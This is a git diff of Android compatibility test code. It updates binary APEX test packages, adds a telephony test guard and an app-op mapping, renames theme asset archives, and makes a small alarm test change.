--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_no_hashtree.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_no_hashtree.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex
index 9d68887..c39b790 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sdk_target_p.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sdk_target_p.apex
index 44f7613..da25328 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sdk_target_p.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sdk_target_p.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex
index 389871d..3eaf372 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob.apex
index f8fa44f..6f38273 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot.apex
index 9658818..1969746 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
index 3440043..be642bf 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_unsigned_payload.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_unsigned_payload.apex
index d6f7d8f..7bebb77 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_unsigned_payload.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_unsigned_payload.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_post_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_post_install_hook.apex
index cc214f8..8006022 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_post_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_post_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_pre_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
index dab82a0..3465dbb 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_without_apk_in_apex.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
index 9706f2f..67743a9 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_wrong_sha.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_wrong_sha.apex
index f305cff..aa1c10c 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_wrong_sha.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v2_wrong_sha.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3.apex
index 3122c96..b345bca 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex
index 0f5134d..c3bab7c 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob.apex
index a83bf51..4733bad 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob_rot.apex
index 703b641..6972daa 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob_rot.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim.v3_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim_not_pre_installed.apex b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim_not_pre_installed.apex
index 806ccc7..4cda1c6 100644
--- a/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim_not_pre_installed.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/arm/com.android.apex.cts.shim_not_pre_installed.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v1.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v1.apex
index a94ae75..030c53b 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v1.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v1.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2.apex
index a9c2758..b090a96 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_file.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_file.apex
index 5ed2c7e..c498b32 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_file.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_file.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_folder.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_folder.apex
index 133f7f7..e83ec07 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_folder.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_additional_folder.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
index 6ce5397..4545b1c 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex
new file mode 100644
index 0000000..298fd85
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_certificate.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_certificate.apex
index 4228ffe..d911fe0 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_certificate.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_certificate.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_package_name.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_package_name.apex
index de090f1..053df91 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_package_name.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_different_package_name.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_no_hashtree.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_no_hashtree.apex
index 19ec142..65a5473 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_no_hashtree.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_no_hashtree.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex
index 9d68887..9f94684 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sdk_target_p.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sdk_target_p.apex
index 9929c3d..8fd510c 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sdk_target_p.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sdk_target_p.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex
index 389871d..baae3e3 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob.apex
index 3f2fc50..1e80788 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot.apex
index cf628ab..c064928 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
index ba5af3b..685f347 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_unsigned_payload.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_unsigned_payload.apex
index 38c073f..f2329ae 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_unsigned_payload.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_unsigned_payload.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_post_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_post_install_hook.apex
index cc214f8..bb2d96e 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_post_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_post_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_pre_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
index dab82a0..fd00bd5 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_without_apk_in_apex.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
index 9706f2f..e7da653 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_without_apk_in_apex.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_wrong_sha.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_wrong_sha.apex
index f305cff..32bf141 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_wrong_sha.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v2_wrong_sha.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3.apex
index 7f3e9ec..1bd8b1b 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex
index 0f5134d..2f7a2e5 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob.apex
index 1aeb0b0..38fe019 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob_rot.apex
index 20f1c85..68505d5 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob_rot.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim.v3_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim_not_pre_installed.apex b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim_not_pre_installed.apex
index 806ccc7..7fd07b5 100644
--- a/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim_not_pre_installed.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/x86/com.android.apex.cts.shim_not_pre_installed.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/arm/CtsShimTargetPSdk.apk b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/arm/CtsShimTargetPSdk.apk
index 65f2a3b..3d01f0e 100644
--- a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/arm/CtsShimTargetPSdk.apk
+++ b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/arm/CtsShimTargetPSdk.apk
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/x86/CtsShimTargetPSdk.apk b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/x86/CtsShimTargetPSdk.apk
index 65f2a3b..3d01f0e 100644
--- a/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/x86/CtsShimTargetPSdk.apk
+++ b/hostsidetests/stagedinstall/testdata/apk/CtsShimTargetPSdk/x86/CtsShimTargetPSdk.apk
Binary files differ
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
index e356ea6..3a45dc0 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -226,6 +226,7 @@
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ESTABLISH_VPN_SERVICE, 117);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ESTABLISH_VPN_MANAGER, 118);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_RESTRICTED_SETTINGS, 119);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_AMBIENT_TRIGGER_AUDIO, 120);
     }
 
     @Test
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
index 87c29c9..82bf7f9 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/telephony/TelephonyStatsTests.java
@@ -123,7 +123,9 @@
         assertThat(atom.getSimCount()).isAtMost(getActiveSimCountUpperBound());
         assertThat(atom.getEsimCount()).isAtMost(getActiveEsimCountUpperBound());
         // Above assertions do no necessarily enforce the following, since some are upper bounds
-        assertThat(atom.getActiveSlotCount()).isAtLeast(atom.getSimCount());
+        if (!isEuiccSupportsMultipleEnabledProfiles()) {
+            assertThat(atom.getActiveSlotCount()).isAtLeast(atom.getSimCount());
+        }
         assertThat(atom.getSimCount()).isAtLeast(atom.getEsimCount());
         assertThat(atom.getEsimCount()).isAtLeast(0);
         // For GSM phones, at least one slot should be active even if there is no card
@@ -328,6 +330,16 @@
         return Math.toIntExact(count);
     }
 
+    /**
+     * Returns if the device as an eUICC with multiple enable profile support.
+     */
+    private boolean isEuiccSupportsMultipleEnabledProfiles() throws Exception {
+        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
+        return slots.stream().anyMatch(slot ->
+                "true".equals(slot.get("isEuiccSupportsMultipleEnabledProfiles"))
+                        && "true".equals(slot.get("mIsEuicc")));
+    }
+
     private Queue<String> getTelephonyDumpEntries() throws Exception {
         String response = "";
         // Retry if dumpsys wasn't ready (where output is 1 or 2 lines)
diff --git a/hostsidetests/theme/assets/Tiramisu/140dpi.zip b/hostsidetests/theme/assets/33/140dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/140dpi.zip
rename to hostsidetests/theme/assets/33/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/180dpi.zip b/hostsidetests/theme/assets/33/180dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/180dpi.zip
rename to hostsidetests/theme/assets/33/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/200dpi.zip b/hostsidetests/theme/assets/33/200dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/200dpi.zip
rename to hostsidetests/theme/assets/33/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/220dpi.zip b/hostsidetests/theme/assets/33/220dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/220dpi.zip
rename to hostsidetests/theme/assets/33/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/260dpi.zip b/hostsidetests/theme/assets/33/260dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/260dpi.zip
rename to hostsidetests/theme/assets/33/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/280dpi.zip b/hostsidetests/theme/assets/33/280dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/280dpi.zip
rename to hostsidetests/theme/assets/33/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/300dpi.zip b/hostsidetests/theme/assets/33/300dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/300dpi.zip
rename to hostsidetests/theme/assets/33/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/340dpi.zip b/hostsidetests/theme/assets/33/340dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/340dpi.zip
rename to hostsidetests/theme/assets/33/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/360dpi.zip b/hostsidetests/theme/assets/33/360dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/360dpi.zip
rename to hostsidetests/theme/assets/33/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/400dpi.zip b/hostsidetests/theme/assets/33/400dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/400dpi.zip
rename to hostsidetests/theme/assets/33/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/420dpi.zip b/hostsidetests/theme/assets/33/420dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/420dpi.zip
rename to hostsidetests/theme/assets/33/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/440dpi.zip b/hostsidetests/theme/assets/33/440dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/440dpi.zip
rename to hostsidetests/theme/assets/33/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/560dpi.zip b/hostsidetests/theme/assets/33/560dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/560dpi.zip
rename to hostsidetests/theme/assets/33/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/hdpi.zip b/hostsidetests/theme/assets/33/hdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/hdpi.zip
rename to hostsidetests/theme/assets/33/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/ldpi.zip b/hostsidetests/theme/assets/33/ldpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/ldpi.zip
rename to hostsidetests/theme/assets/33/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/mdpi.zip b/hostsidetests/theme/assets/33/mdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/mdpi.zip
rename to hostsidetests/theme/assets/33/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/tvdpi.zip b/hostsidetests/theme/assets/33/tvdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/tvdpi.zip
rename to hostsidetests/theme/assets/33/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/xhdpi.zip b/hostsidetests/theme/assets/33/xhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/xhdpi.zip
rename to hostsidetests/theme/assets/33/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/xxhdpi.zip b/hostsidetests/theme/assets/33/xxhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/xxhdpi.zip
rename to hostsidetests/theme/assets/33/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Tiramisu/xxxhdpi.zip b/hostsidetests/theme/assets/33/xxxhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/Tiramisu/xxxhdpi.zip
rename to hostsidetests/theme/assets/33/xxxhdpi.zip
Binary files differ
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
index 0e7b8b5..db6207d 100644
--- a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
@@ -16,6 +16,7 @@
 
 package android.alarmmanager.alarmtestapp.cts;
 
+import android.alarmmanager.alarmtestapp.cts.common.FgsTester;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
@@ -24,6 +25,8 @@
 public class TestAlarmReceiver extends BroadcastReceiver{
     private static final String TAG = TestAlarmReceiver.class.getSimpleName();
     private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts";
+    private static final String INSTRUMENTATION_PACKAGE = "android.alarmmanager.cts";
+
     public static final String ACTION_REPORT_ALARM_EXPIRED = PACKAGE_NAME + ".action.ALARM_EXPIRED";
     public static final String EXTRA_ALARM_COUNT = PACKAGE_NAME + ".extra.ALARM_COUNT";
     public static final String EXTRA_ID = PACKAGE_NAME + ".extra.ID";
